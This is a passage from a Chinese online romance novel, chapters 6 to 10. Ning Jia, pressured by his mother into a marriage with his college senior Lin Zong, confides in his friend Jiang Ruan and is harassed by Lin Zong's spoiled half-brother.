杨哥以一副过来人的姿态开解宁嘉:“正常啊,结婚也需要冲动的呀,当初我和你嫂子就是冲动结的婚,不然你嫂子可能和我谈一辈子恋爱,毕竟婚姻又是另外一码事了。” “不过话说起来,虽然你平时大大咧咧的,但也不至于搞闪婚吧,对方得多优秀啊,真这么激情?” 宁嘉:“......” 会告诉林纵是没有办法,最开始觉得总要有个理由拒绝,但宁嘉不想让别人知道许诗瑶不好,其实也不算不好,妈妈只是自私了点。 本来,宁嘉也打算自私一点,配合着看一眼相亲对象,然后连夜跑路,有什么后果让吴良仁承担,过程可能有点惨烈,但许诗瑶迟早会看清吴良仁的为人。 但这些话都不能说。 不过林纵优秀倒是真的,这一点上,宁嘉一直很狗腿:“是以前认识的学长,有一点点好感,不过那时候有很多人都对他有好感。” 杨哥搓了把脸,笑了下,彻底醒了:“我怎么感觉你找我不是为了辞职?也没说结婚还是个男生啊,什么时候喜欢上的,一直以为你比我们公司的承重墙还硬啊” 宁嘉叉腰,自信又骄傲:“那真的很硬!” 杨哥:“......滚。” 话题就这么岔了过去,宁嘉来 6. 第 6 章 《每天都想和暗恋对象离婚》全本免费阅读 宁嘉和江软也在酒吧。 江少爷阔气又矫情,酒吧要去贵的,卡座要开二楼专属VIP,上楼前宁嘉看了眼价目表,坐到江软对面的时候坦然道:“我连一杯柠檬水都不会给你买的。” 他也买不起,贵死了。 江软也没在意:“那等下请我吃烧烤。” 宁嘉又说:“可以。” 但其实两百一杯的柠檬水和三百一顿的烧烤没多大区别。 宁嘉和江软家境差别很大,这种差距在大学的时候还没有很明显,因为江软的床和宁嘉一样乱,铺的都是看不出明白差别的窄小床单,每天一起吃食堂的饭,有时候也去校门口吃不干净但很好吃的小吃。 偶尔碰上聚餐或者谁生日,从校园的环境脱离出来的时候,江软就像个土豪冤大头,也不能这么说,他通常只给关系不错的同学花钱,但是巧了,关系不好的聚会他也不会待见人家。 家境的差别是天生的,宁嘉没办法改变,他和江软之间花大头的永远是江软,毕竟江软能把一百当十块花,可宁嘉也愿意在江软生日的时候,花掉他大半个月的生活费和整个月兼职赚的钱,就为了给江少爷买想要的生日礼物。 那是江软很容易得到的礼物,卡里的钱可以让他买很多个这样的东西,但那是宁嘉好不容易买到的东西,不是简单花钱就可以的。 因为江软没有觉得宁嘉很容易,宁嘉也没有觉得江软会不稀罕,所以他们当了很久的朋友,哪怕是两个世界的人,但又好像没有距离那么远。 “你喝酒吗,嘉嘉?”江软问。 宁嘉不在不熟悉的地方喝酒,因为不方便,酒精过敏是事实,来予市几次都是周末,周一还要赶着上班,以往他过来,最多陪江软喝一杯啤的,喝多了进医院麻烦。 “不喝。”宁嘉果然也说,酒吧里的酒喝着一股果味,实际上度数颇高,他曾经只喝了一口十一度的酒,回头全身起了疹子最后还吐了。 江软于是给宁嘉点了柠檬水,自己在那喝着小酒,他们的位置很好,稍微低头就能看见一楼全景,江软想起来问:“这次还急着回去吗?” “干什么,”宁嘉笑起来,“不急着回去就让我喝酒了吗?” “是啊,”江软也和他开玩笑,连询问的话都变得漫不经心,“白天不是你说要结婚了吗?结婚不就不回去了吗。” 要说江软私心里没有希望宁嘉留在予市是不可能的,人这辈子能碰上好朋友的机会大概只有这么一次,总会希望彼此合拍相处的日子能够长久一点。 但江软也不像许诗瑶,他的私心只有小拇指的小指甲盖那么点,宁嘉能留下来最好,不能的话,能幸福才最好。 宁嘉说:“我和你开玩笑的。” 江软说:“我知道。” 宁嘉喝了口柠檬水,酒杯放下的时候,眼珠子跟着动作转了转,这是个思考的姿势,琢磨片刻,他说:“但我相亲的时候碰到熟人了。” 江软已经跟着音乐摇起来了,大喊:“碰上谁了?” 和江软在一起总是很费嗓子,宁嘉只好也大声说:“林纵,学生会的会长,你应该见过的。” 江软在摇头晃脑里思索,不那么在意地在记忆里找寻,好像是有这么个人,因为宁嘉提过好几次,每一次都用羡慕和向往的语气,说林纵帅的尤为天人。 后来江软终于忍无可忍去凑了次热闹,想知道林纵到底何许人也。 那天宁嘉还一个劲地问:“帅吧帅吧,是不是很帅。” 宁嘉觉得林纵连头发丝都帅的行为,让江软想到了他追星的亲妹,两个人傻的程度不相上下,提到偶像的时候,场面一度痴呆。 往事不堪回首,江软感叹着摇摇头:“可能吧,没什么印象,我不记得长得没我好看的人。” 宁嘉果然痴呆了,什么话都说得出来:“你真敢讲,你一身0的气质,我学长再怎么也像个1,你和他比长相......” 话说到这里,突然就停了下来。江软想说你终于知道心虚了?过度吹嘘可是捧杀行为。 然而他正过脸,却在昏暗灯光下看见宁嘉一张红透的脸:“......嘉嘉,你好像熟了?” 话说到一半,宁嘉终于意识到他吹捧的对象,刚对他发出了结婚邀请,这个时候吹嘘人家怎么都带了点说不清的暧昧成分,而宁嘉在痴呆的过程中发散思维,脑子突然黄了起来,黄过头,脸就红了。 “喝,喝酒。”宁嘉干了大半杯柠檬水。 江软心说你转移话题的能力真差,紧接着真干了酒。 酒吧里热闹,嘈杂的音乐绕耳,多彩射灯跟着节奏挥舞,在这里人们短暂了忘记了生活,复杂的心灵获得了短暂的平和,连手机响了都听不见。 桌上的手机亮了,江软被吸引了注意,跟着宁嘉投去视线,“夏天”两个字闪烁在屏幕上,江软纳闷:“你女朋友?” 宁嘉脸都绿了:“......我妈。” 江软有一点点尴尬:“怎么备注这个名字啊?” 宁嘉揣起手机:“我出去打个电话。” 早些年听说的,不要给亲人备注称呼,以免手机丢失被有心人捡到的时候,因为这些关系去做不好的事情,不过值得庆幸的是,这么多年宁嘉从来没有丢过手机。 酒吧隔音好,出了门就没有太大的声音,但宁嘉还是多走了几步,眼睁睁看着来电被自动挂掉,才接起重新拨进来的那个。 “妈。”心里多少有气,不想流露出来,可一接电话,语气就自动变得冷淡。 许诗瑶像是没察觉,说话时带了点笑,和以往一样语调温柔:“嘉嘉,吃饭了吗?” 她这样宁嘉也没法生气,无奈道:“现在都几点了,” 许诗瑶笑说:“这不是怕你不会照顾自己吗?” 父亲去世时,宁嘉还不到十八岁,那段日子虽然得到了解脱,可母子俩相依为命也并不好过。 大概就是那段时间,许诗瑶认识了吴良仁,十八岁以后宁嘉上了大学,许诗瑶便跟着吴良仁回了予市,长久地定居在那里。 每逢暑假寒假期间,宁嘉独自回岩市,许诗瑶经常会问要不要回来陪他,宁嘉始终都是拒绝的,他长大了,已经能够照顾自己了。 有很多年,许诗瑶过得并不好,宁嘉由衷地希望,他妈妈能在往后的余生里追求她想要的自由和幸福。 这个想法没有随着许诗瑶的改变而改变,但宁嘉不希望那个人是吴良仁,他也知道吴良仁不会是。 宁嘉走进安全通道,一步步往楼下走,听见许诗瑶问:“今天和那个男生见面怎么样啊?” 宁嘉问:“二十八岁还男生?” 许诗瑶说:“没有结婚都还小呀。” “你也才四十。” 许诗瑶平时恨不得把自己年龄往小了说,这会儿却说:“我四十多了。” 这么绕圈子没意思,不知道许诗瑶想知道什么,但宁嘉感到自己没有被在乎。 于是问了心里话“我要是不喜欢,你也要我和他结婚吗?” 他真的很想要知道答案,想知道许诗瑶还在不在意他。 手机仍在耳侧,可宁嘉听见的只有他的脚步声,很轻一步步往下,走到最后两节的时候,还故作轻快地蹦跶了一下。 许诗瑶因为声响很快回神,笑说:“感情都是可以培养的嘛。” 宁嘉没有情绪地说:“我和男人培养不了感情。” 许诗瑶强人所难 7. 第 7 章 《每天都想和暗恋对象离婚》全本免费阅读 “啊,就突然约你了?” 宁嘉进车的时候被冷气冻了个哆嗦,在江软家的时候冷气就是开着的,地下车库温度也凉嗖嗖,这都比不上江软车里堪比十六度的空调,而宁嘉一整天没有动过了,血液缓慢流动,差点被冻住。 “是啊,所以晚上这顿你请。”宁嘉把空调稍微调高了两度。 “?” 江软难以置信:“你住我的,吃我的,难得出来吃一顿还要我请客。” 宁嘉平静道:“我都走不了了,你还不能请我吃顿饭,安慰一下我受伤的心灵吗?” 江软听乐了:“我怎么觉得你没有很受伤。” 宁嘉面无表情地卖惨:“怎么可能,我很受伤,天天失眠,食不下咽。” 江软说:“那你晚上少吃点。” 宁嘉说:“不行。” 江软对吃喝玩乐的要求就是安静,可能从小热闹惯了,可以花钱买消停的时候,他一向会这么做,于是如他所言,吃饭的地点比上次宁嘉和林纵相亲的地方还要高档一点,包厢里装出了小桥流水。 夏天里,哗啦啦的水声让人心静。 这顿饭钱,宁嘉确实付不起。 服务员走后,包厢空旷得只剩两人,他们被短暂地关在一间与世隔绝的玻璃房里,因为没有人打扰,谈话就没多大顾忌。 “结婚对象是你学长的话,是不是会开心一点?”江软和林纵不熟,真就只有因为好奇心曾见过的那一面,印象算不上好坏,他已经把宁嘉和林纵划上等号了,似乎这两人在他心里已经捆绑在了一起。 宁嘉说:“没有,”他的表情看起来很愁苦,“你觉得我可以让学长和我搞形婚吗?” 江软惊讶:“你连形婚都知道?” 宁嘉叹了口气:“最近一直在网上冲浪,寻找一些保护自己的办法。” 江软:“什么意思?” 宁嘉默默捂脸:“我很怕我的屁股遭殃。” 所谓的“直男,不喜欢男生”在这种时候听起来就很扯淡,宁嘉的接受能力实在太好了,以至于江软的宽慰显得那么漫不经心:“就不可能是你的学长遭殃?” 宁嘉惊恐,嗓音都劈了叉:“你在说什么啊!” 这一次是林纵用个人名义约的宁嘉,约在正常的周六晚上,夏天到这个时候,下午七点的天也是亮的,热得让人流汗。 宁嘉还是和上次别无二致的打扮,因为是傍晚,所以取消了他最爱的墨镜。 出门前,宁嘉接到了林纵的电话:“嘉嘉,出门了吗?” 低沉的嗓音很好地止住了宁嘉的脚步,昨晚打电话的时候,林纵喊得还是“宁嘉”,宁嘉想了想,觉得昨天的自己是对的,现在的自己应该是耳朵坏掉了。 不过他还是回答:“还在家里。” “那就好,可能要麻烦你等我半个小时了,临时有点事。” 宁嘉没有车,林纵约定过要来接他。 林纵的声音总是带了笑意,好像是天生嵌在他嗓子里的东西,自信、骄傲,这些都是很适合林纵的东西。 优越的家境,张扬的外貌,在学校里数一数二的成绩,以及毕业后进入家族企业和同龄人走在不一样的人生道路上。 因为突然遇见,又因为某些原因他们被绑在一起,这两天宁嘉会无端去猜,想像林纵这样的人会有什么让他觉得苦恼的事吗,他也会像俗人一样不高兴吗? 林纵真的太完美了,就算要成家,好像也不该找宁嘉这样连家都没有的人。 因为宁嘉要出门吃饭,江软也在周末约了其他朋友,他走到宁嘉旁边,疑惑:“怎么不走?” “发了下呆。”宁嘉说。 江软走的是地下室,不知道宁嘉出门后一个人去了餐厅。 江软的意思是,林姓和江姓在予市的地步相差无几,但江软和林纵的品味就相距甚远了,至少林纵挑选的餐厅很正常,是宁嘉站在门前看看,可以咬咬牙吃得起的那种。 到餐厅的时候宁嘉给林纵发了消息:学长,我在餐厅了,你直接过来就行。 直接用微信发的,好友应该是大一那年加的,连备注都没有,宁嘉翻了好几个群,才确认林纵的微信,加上了备注,发了三年来第一条消息。 林纵回了条语音:“好,那你直接进去,预约过了,报我的名字就可以。” 宁嘉被服务员带到座位上,上了杯水:“这边是先点餐,还是再等一等呢?” “谢谢,”宁嘉说,“再等一等吧,等我朋友来了再点。” 服务员:“好的。” 这里比市中心偏一点,餐厅在商厦二楼,入口处是一楼三米宽的大理石阶梯,边上是条宽敞的大道,车流密集,一旁绿化带上绿植郁郁葱葱,挡掉了大部分二氧化碳。 宁嘉对着窗外发呆,他这几天休息的有点过,常年周末双休是为了星期一的上班做准备,可他突然闲了下来,往前往后脑子都是一片空白,有时想想他妈,有时想想他死去的爸,偶尔很偶尔的时候会想到未来可能和他有牵扯的林纵。 “你是宁嘉吗?” 宁嘉回过神,一个男人单手插兜站在他边上,有椅子不坐,非要半屁股坐到他桌子上。 什么毛病。 “我是,”宁嘉嫌弃地站起来,“你是哪位?” 这下变成宁嘉居高临下看人,男人却一脸玩味,从上到下打量着宁嘉身上的每一寸,每一次停留的目光都带着意犹未尽:“自我介绍一下,我叫林少。” 先入为主的想法,宁嘉已经见过一个林纵了,再碰上姓林的,没能第一时间把对方和林家联想到一起,而眼前的人满是傲慢,连和他多说话,宁嘉都嫌麻烦:“哦,不认识。” 涵养一般,装x失败的林少当即怒火中烧:“那你认识谁?林纵?你知不知道本来应该和你相亲的对象是我?” 宁嘉语气冷淡:“不知道。” 然后他从上到下也扫视了一遍林少,边看边嫌弃,像在估价一件没有价值的廉价商品,很不想要,但不得不面对,以至于耐心都不怎么样:“还好不是你。” 林少本来就够生气了,这两天一直在和他爸吵架,最开始看上宁嘉的就是他,知道吴良仁最后一定会把宁嘉推出来才怂恿他爸和吴家搞联姻,甚至是提前说好的,由他来和宁嘉结婚,反正以后也会离,什么都不影响。 他爸一直好好答应着,像小时候闹着要玩具一样,林平生从来都是迁就他的,无限纵容这些并不算重要的小事。 可事到临头,林平生竟然反悔,给了林少错误的时间和地点,真正见宁嘉的人变成了林纵。事后林平生没有一丝愧疚,这个男人少有的父亲做派用在了林少身上:“你不可以和男人结婚。” “我玩了男人这么多年有什么不可以的?” “都说了结婚只是玩玩,以后离了就是。” “我不可以,林纵就可以,你就是这么对待你的亲儿子的?” 好像所有人都在向着林纵,林少看着面前宁嘉对他不屑一顾的脸,什么伪装都忘了,张嘴便口吐芬芳,叫嚣着让所有替林纵说话的人都知道他的真面目。 林少站了起来,比宁嘉高了小半个头,恶劣又丑陋的嘴脸一点点逼近: “你就这么为那个私生子说话?为什么?就因为他长得好看?” “皮囊有那么重要吗?你知不知道他是个私生子,不要脸的野种在我家里占着一个不属于他的位置那么多年。” “他那么脏,你连这种货色都喜欢?” “我告诉你,我们家的财产他以后不会拿到一分,你和他结婚能有什么好处?不觉得丢脸吗?” 林纵来得晚了一点,车开到一半才收到宁嘉的消息,大路上拐了个弯,饶了点路,进来的时候正好听到林少歇斯底里般的言论,不知道怎么想的,进门的脚步收了回去,静静地站在门口。 8. 第 8 章 《每天都想和暗恋对象离婚》全本免费阅读 宁嘉仰着头,对身后的林纵说:“我想要喝路口那家店的奶茶。” 刚刚过来的时候看到的离这里两个街区的路口有一间奶茶店,距离不算很远,但刚刚没想喝。 神奇的是宁嘉这会儿觉得浑身燥热,很想要嚼两口带着甜味的冰块,就比如奶茶这样的。 “那你先点菜,我去给你买。” 但宁嘉觉得自己的要求有点不讲道理,比如天真的很热,就算此时挂在天边的已经是夕阳了,可外头还是让人一出现就冒汗的温度,林纵却连拒绝都没有,就是个完美到让宁嘉自形惭愧的男人。 宁嘉在位置上乖巧地坐好,等到的身影消失在餐厅拐角,立马站起来,屁颠屁颠跑到收银台,一脸乖巧:“你好,我想要报警,刚刚的监控能不能给我一份?” ...... 学长:要喝什么? 宁嘉:随便。 学长:随便该怎么点? 宁嘉:我不要珍珠。 说了和白说一样,林纵从排的队伍里退出来,给宁嘉拨电话过去。 宁嘉百无聊赖地等人,脖子扬得老高,目光再次望向窗外,却被层层树荫挡住了视线,其实一百米真的很远,就算毫无遮挡,宁嘉一个近视眼也找不到林纵在哪里。 手机在这时响了,是林纵打过一次,宁嘉却忘了存的十一位数长号:“学长。” 林纵低低地笑起来:“你总得告诉我,你要喝什么。” 宁嘉被这蛊人的声音挠的耳朵痒痒:“随便嘛,冰的就可以。” 林纵有点无奈:“这里好像每一份饮品都可以做冰的。” “啊,这......” “我把菜单拍给你了,你看看吧。” “好吧好吧,”宁嘉很快意识到自己的错误,又问,“学长,你喝什么。” 林纵说:“我和你点一样的就行。” 宁嘉边看边问:“怎么不点点自己喜欢的。” 林纵声音没有起伏地说:“我没有买过奶茶。” 宁嘉震惊:“你?” 林纵淡淡:“我。” 宁嘉:“二十五岁的年纪?” 林纵纠正:“二十四。” “没有买过奶茶?” “喝过不少。” 宁嘉忽然就悟了,他优秀完美的学长因为接受过不少学弟学妹的款待,喝过奶茶一点都不意外,但他可能连杯子上奶茶的名字都没有真正注意过。 宁嘉不知道的是,那些奶茶都是闻凯买的,闻凯简直是个奶茶重度爱好者,每次来见林纵必定提溜着两杯奶茶,晃晃悠悠荡到林纵面前,胳膊一抬:“喝。” 手机还在耳边,宁嘉的耳朵都被这恼人的温度捂红了,只想要林纵早点回来:“学长我点好了,珍珠奶茶不要珍珠,我自己是不爱吃珍珠的,你如果喜欢的话,让他们给你正常加就可以了。” 宁嘉还趴在桌上发呆,像上课走神开小差的学生,桌面干干净净的,林纵把买回来的奶茶放到上面,杯面的标签上氤出了水渍,两杯是一样的。 宁嘉的眼睛也是亮亮的,虽然什么都没说,但林纵觉得他还挺高兴的。 “怎么没点菜?”林纵问。 宁嘉把插好吸管的奶茶推到林纵面前,连带着服务员拿出来的菜单:“我不挑食的,学长你点自己喜欢的吧。” 林纵嘴角带着弧度,视线不轻不重地落在宁嘉脸上:“你不挑食。” 宁嘉睁眼说瞎话:“嗯啊!” 林纵给无语笑了,点完菜把菜单递给服务员:“谢谢。” 回过头对装傻充愣的宁嘉说:“挑食也没关系,每个人都有自己不喜欢的东西。” 林纵真的是这么多年都没怎么变,难怪当初成为学生会长的人会是他,但宁嘉还是和当年被学长安慰一样不好意思:“学长,你不要这样说,好像我还是小孩子一样。” 林纵眉眼温和:“长大了也可以挑食。” 林纵像是一个没有棱角的人,无论遇到什么样的人,碰上什么样的事,好像总是笑着的,用他的圆滑面对所有尖锐,像一团棉花,处处柔软是他的表象,内里没人看得清。 冰冰凉凉的奶茶喝得宁嘉神清气爽,终于回过神来,想到了重点:“那个林少,他怎么知道我在这里?” 林纵刚才也在想这个问题:“我本来以为他是跟踪我,仔细想想他跟踪的应该是你。” 林纵比林少来得晚,要说跟踪的话其实不太像,但如果对象换成宁嘉就合理很多。 “跟踪我?这个死变态。”宁嘉眉头拧成个结,被恶心得不轻,怒喝一口冰奶茶,愤愤道“我承认我有几分姿色,但他也不看看自己配不配。” 林纵在对面搭腔:“确实不配。” 宁嘉笑嘻嘻的,显然很喜欢林纵这一面。 能和江软交朋友,代表宁嘉的话也绝对不少,在关于林纵的事情上,宁嘉表现出作为一个死忠粉的特性,无脑维护林纵,不管他人说什么都毫不动摇,不好奇,不多问,林少说出的话和放屁一样,除了臭什么都没有剩下。 饭吃到一半,宁嘉的脑子转了一圈,又想到问:“他跟踪我干嘛啊,以后还跟踪吗,我都在家不出门,他还找人跟踪我,咦,越想越恶心。” “他是想恶心我,你不用在意,以后应该不会了。”林少能说的话就那么点,在宁嘉面前都说完了,没起到作用,以后也不会来恶心人,毕竟林家人最大的毛病就是好面子。 宁嘉松了一口气,又骂:“他也太恶心了,还说本来和我相亲的人是他,如果是他的话我扭头就走了,他哪来的自信啊,”嫌弃地搓搓胳膊,“真的好变态。” 比起林纵和江软,林少是被惯坏的典型公子哥,有种全世界一定会围着他转的盲目自信,平等地瞧不起这个世界上的所有人,随便给出点示好,一定要对方俯首接受才行。 宁嘉却站了起来。 林纵不是很想谈林少的事,说他的好和不好都不应该:“我会和他谈谈,保证他以后不找你麻烦。” 宁嘉点点头:“找也没事,我还揍他。” 林纵把宁嘉多夹了几道的菜换到他面前:“不要和他打架。” 宁嘉:“好好好。” 两个男性在一起吃饭还是快,谈论的话题不多,吃饭速度就会变快,不到一个小时桌上的菜都空得差不多了。 “要去看电影吗?”林纵适时问。 这个时间还早,不到晚上九点,予市的夜晚向来热闹,夏天更甚,这么早回家睡觉好像会对不起满天繁星,夏夜的温热中带了点凉爽,宁嘉走在路上,头发丝都被吹起来了。 “我问问江软回家了没。”宁嘉合情合理地说,“我现在住他那里,他要是回家了我就陪他玩去,没回我们就去看电影,可以吗?” 没问宁嘉为什么住江软家,就像宁嘉不问林少为什么会说那样话一样。非机动车驾驶的通道上偶尔会有小电驴经过,林纵揽着宁嘉的肩把他往里面带带,然后停了一步,走到了宁嘉左侧:“好。” 给江软发消息的时候,宁嘉顺嘴问:“学长,你不认识江软吧,也是我们学校的学生,和我是同班同学,不过他没有进学生会。” 江软很明确自己人生的定位,吃喝玩乐不要继承家产,所有对社会有贡献的事他都不要做,其中也包括在学校里有可能发挥自己人生价值的事情,就比如进社团或者部门。 “但是他姓江,”宁嘉说,“学长你知道江家吗?” 林纵说:“知道,应该见过。” 没有立马收到江软的消息,宁嘉熄灭屏幕,惊讶地问:“毕业以后见过的吗?在予市?” “对,江伯伯和......”说到这里林纵停顿了一下,“我爸是朋友,两家有生意往来,江伯伯的三个孩子我都见过,江软应该是最小的那个。” “不应该啊,”宁嘉犯嘀咕,“他没说见过你呢。” 林纵笑了下:“可能他确实没有见过我。” 宁嘉偏头疑惑:“什么意思?” 江家的小儿子不学无术,被他爸连拖带拽才屈尊降贵来参加某个不算重要的商务宴会,被牵着走了两圈江软就不肯动了,窝在无人问津的角落里玩手机。 林纵就是在这样的场合看到江软的,一个低着头什么都不需要做的无忧无虑的小少爷。 闻凯曾经说过想要站到很高的位置上,可以被人看得起,江软好像不一样,他不希望自己被注意到,所以连身处的位置都很隐蔽,也不想要获得任何来自他人的关注。 江软和他们这样的人不一样。 林纵站在昏黄色的路灯下,光束打在他的英俊的脸庞,嘴唇很轻地动了动,眼角依旧是带着笑意的:“我见到他,他没见到我的意思。” 林纵连小少爷的名字 9. [可怜 《每天都想和暗恋对象离婚》全本免费阅读 “啊?” 直到林纵转头,视线里那道清晰利落的侧影消失,宁嘉才回神:“学长,你说什么?” 林纵脾气很好地重复:“你还要看我到什么时候?” “......”宁嘉嘀咕:“也不用一字不差地重复吧。” 电影院里安静,但也有其他人,林纵讲话的声音很轻,要靠得很近才可以,温热的气息拍打在宁嘉耳侧,像海浪席卷而来:“不是你问我说什么的吗?” 宁嘉惊得后退,捂住耳朵:“......好,好的,我听见了。” 林纵回过头去看电影,又听见林纵不服气地念叨:“长得好看,还不给看。” 余光里,林纵的侧影抖了抖。 周日这天,天气晴朗,用江软的话来说:快要被晒成人干了。 两人睡到中午才起,本来准备出去吃点好的,阳台门才推开一点,江软伸出一条腿,又紧急撤回:“好烫好烫好烫,热死了热死了热死了。” 宁嘉在沙发上直挺挺地躺着,悠哉:“不知道你在挣扎什么。” 江软暴躁:“哥们想和你去吃好吃的!” 宁嘉悠悠道:“那就晚上呗。” 于是两人一起在沙发上躺平了。 短信音响了一声,宁嘉闭着眼在摸手机,江软玩游戏的间隙看了一眼:“你脖子旁边。” 屏幕亮起,是许诗瑶的消息,也不知该不该高兴,宁嘉没太大情绪地说:“我妈让我晚上去她家吃饭,你来吗?” “去呗,很久没见阿姨了。” 话才说完,江软的手机跟着响了,这次是电话:“啊啊啊,我死了啊,是谁是谁!哦,是我妈。” 宁嘉眼睁睁看着江软换了副老实巴交的嘴脸,连声音都带着谄媚:“喂,亲爱的妈妈。” 江软他妈在电话那头一顿输出输出再输出,江软的表情变化变化再变化,挂了电话后,江软语重心长地对宁嘉说:“我晚上要去相亲。” 宁嘉震惊:“这么突然?” 江软叹了口气:“怪我嘴贱。我妈前两天问我你在干吗,我说你忙着结婚......” 宁嘉:“......你真是活该。” 许诗瑶如今在予市的住所是吴良仁的,宁嘉曾经旁敲侧击过,许诗瑶却满脸甜蜜地回答:“你叔叔买的。” 许诗瑶当然没有钱买这间根据予市房价计算价值不菲的房子,宁嘉也没有问,房产证是谁的名字对他而言一点都不重要。 六点多天还很亮,温度比“晒死个人”稍微好一点,从小区门口走到许诗瑶的房子宁嘉还是出了一身的汗,按响门铃,许诗瑶披着大波浪出来开门,厨房的油烟味弥漫开来,仔细听,还有锅碗瓢盆碰撞的声音。 “妈,你下厨吗?”宁嘉这话已经属于明知故问了。 许诗瑶又在甜蜜地微笑了:“你叔叔在做饭。” 老实说许诗瑶的厨艺并不好,仅仅达到能吃的程度,肉会很柴,蔬菜太过软烂,除了味精和盐之外不会放其他调味料,宁嘉嫌弃过了,但没有用,他妈就是传说中的笨蛋美人,笨蛋加美人。 但吴良仁厨艺还行,这一点倒是不符他精明的商人形象,宁嘉也吃过几次,每次都是这样没有被通知却莫名多了个人的情况。 吴良仁系着围裙在厨房里颠锅,许诗瑶的眼神里不断冒着粉红泡泡,宁嘉觉得自己很多余,但这间屋子里甚至没有他的房间,宁嘉能做的,无非是背对厨房,装作听不见吴良仁的动静和许诗瑶一点都没有收敛的笑声。 上菜的时候,吴良仁熟稔地和宁嘉打招呼:“嘉嘉来了啊。” 前两几,宁嘉看到吴良仁还是挺开心的,毕竟是许诗瑶的男朋友,他和许诗瑶贴得越近,证明两人感情越好,现如今宁嘉却不这么想,便笑笑:“嗯。” 转头就咬牙切齿和江软发消息:早知道就让你把相亲对象带过来一起吃了。 江软:开什么玩笑。 宁嘉:[吐血]吴良仁也在。 江软:早知道我就把相亲对象约在你家见了。 宁嘉:[握手][握手] 吴良仁准备了六菜一汤,从色泽摆盘来看,确实比许诗瑶更像个厨子,他和许诗瑶并肩坐在宁嘉对面,在外人看来,简直是一家三口甜甜蜜蜜的美好画面。 吴良仁给宁嘉夹菜:“嘉嘉多吃一点,最近都瘦了。” 宁嘉微笑:“谢谢叔叔。”吴良仁上一次见他还是去年,而宁嘉比去年重了两斤。 许诗瑶也给宁嘉夹菜:“好久没吃叔叔做的菜了吧,比我做的好吃多了。” 宁嘉微笑:“是挺好吃的。”但我也可以不吃。 饭桌上,许诗瑶和吴良仁聊天更多,宁嘉反而安安静静地像个误入的外人,手机藏在桌底发消息:看对眼了吗? 江软:我是不是没告诉你我妈给我介绍的是女生? 宁嘉:[可怜][可怜]真惨,不敢出柜,还要让女生遭受这种委屈。 江软:[OK]比不了一点,你不用出柜,就可以和男人结婚。 宁嘉:。 宁嘉:杀人诛心不要脸的东西。 “嘉嘉,嘉嘉。”许诗瑶在叫宁嘉。 宁嘉把手机压屁股下面,抬起头:“嗯?怎么了?” 许诗瑶笑得温婉大方:“叔叔叫你呢。” 宁嘉礼貌而不失尴尬地微笑:“怎么了,叔叔。” 吴良仁笑问:“前两天和林家小子见面感觉怎么样啊。” 宁嘉也笑:“不怎么样呢。” 像是没察觉到尴尬,吴良仁的表情甚至不带变的:“可以再相处看看呢,感情是要慢慢培养的。” 宁嘉笑笑。 他其实真不是什么脾气很好的人,不过这两年也确实有所收敛,好像慢慢地也发现了有些事没必要对长辈说,因为观念不一样,也因为有些长辈说出来的话,并不是真的需要他听进去。 像是闲聊,对小辈的一点关照,吴良仁很快把话题转移开,许诗瑶又开始笑了。 江软的消息:难道不是你先伤害的我吗。 宁嘉:吃鸡? 江软:我在相亲。 宁嘉:我看你也没有很认真的相亲。 江软:理你一点都是对我对面美女的不尊重。 宁嘉自己开了游戏,静音模式,直接跳了N港,想钢枪的心达到了顶峰,降落伞在空中飘啊飘,许诗瑶又在叫宁嘉的名字:“嘉嘉,在干吗呢?” 吴良仁接了个电话,人大概是出去了,环顾四周,宁嘉问:“他人呢?” 许诗瑶不太能理解宁嘉为什么不喜欢吴良仁,本来想问的,问儿子是不是更喜欢他的亲生父亲,但这种话问起来确实没有必要,毕竟人都死了。 “叔叔临时有事。”许诗瑶说。 宁嘉点点头,看一眼手机,他在N港被人当人机打成傻x了。 吴良仁刚刚话说的少,可能不太全面。 许诗瑶不算上了年纪,但人好像总是这样,上了饭桌就想多说几句。所以相亲也要吃饭,和不熟的人坐在一起,做着平时最常做的事情,陌生感好像会淡一些,也就能够接受了,和陌生人吃饭,又或者听亲妈说一些不喜欢听的话。 “我听叔叔说了,林家的小孩挺好的,年纪大点也会照顾人,平时赚得钱也多,你和他在一起不会受委屈的。” 这样的话好像在狗血肥皂剧里听说,一般用于继母逼继女结婚的桥段,主要目的是为了把人赶出家门,眼不见心不烦。 宁嘉退了出来,点击再来一局。 “男人在外赚钱,你在家没事的话,也可以帮帮忙,做做饭。脾气也要好一点,不要动不动生气,两个人在一起要互相体谅。” 宁嘉操控着角色,左勾拳,右也勾拳。 “他会照顾你,你也不会太累,不要总让妈妈担心。” 宁嘉的角色反被揍了一拳:“妈,是不是当初嫁给我爸的时候,外婆也对你说过这些话,你因为不知道两个男人结婚会怎么样,所以把我当成一个手无缚鸡之力不用上班,在家里做家务相夫教子的女性角色?” 许诗瑶似乎能感觉到宁嘉话里的尖锐,表情有一丝无措。 “真的有用吗?”宁嘉很认真地问,“你做了这些,我爸有对你有一点吗?还是说林家这么有钱,连个保姆都请不起,非要娶个男人回家做家务?” 许诗瑶不知道要说什么,连宁嘉说这些的目的都不清楚,可她总能讲自己想讲的:“你总要成家的。” 宁嘉问:“我不能找个女生结婚吗?” 许诗瑶的表情像宁嘉刚刚那样认真:“我们家没钱呀。” 宁嘉:“......” 竟然说的好有道理。 怀疑再待久一点会被气吐血,吃完饭,宁嘉帮着收拾了厨房,没有再久留,穿上鞋子就要走,许诗瑶又追了出来,看起来是有点犹豫的,却还是说:“你们好好的。”< 10. 第 10 章 《每天都想和暗恋对象离婚》全本免费阅读 办公室里,键盘声敲了半晌,闻凯实在受不了这么安静的场合:“大周末这个班是非加不可吗?” 键盘声过了一会儿才停,林纵用冰冷的平铺直叙的语气说:“这个项目,我改了一下,明天早上你报上去,务必要通过。” 闻凯也在干自己的事情,虽然在林纵开口前就知道会听到这样的话,可真的听到,心里又觉得不是滋味:“你自己写的东西让我去报?” 林纵说:“我没空。” 闻凯哼笑一声:“有空你也不去。” “知道就好。” 和林纵当朋友很容易被这人事不关己的笑脸气死。 打印机运行,写好文件被打印成纸,混合在其中的是不起眼的短信铃声。闻凯抬眼望去,林纵拿了手机来看。 宁嘉:学长,我不能和你结婚了。 林纵:怎么了? 宁嘉:你的消息已经发出,但被对方拒收,请先添加对方为好友。 在这条系统回复的消息边上还有个红色的感叹号,太过显眼,闻凯一眼就看到了,没良心地笑出了声,靠着桌沿笑得整个人都在抖:“我以为这世上不会有不喜欢你的人。” 熄灭屏幕,林纵说:“不喜欢我的人多了。” 闻凯还是笑着摇摇头:“那些乱七八糟的人不算,”见林纵拿起手边的文件一点没有着急的样子,又问,“你不去找人?” 林纵迅速投入工作状态:“事情先做完,我明天会去找他。” 闻凯说:“等你找,人早跑了。” 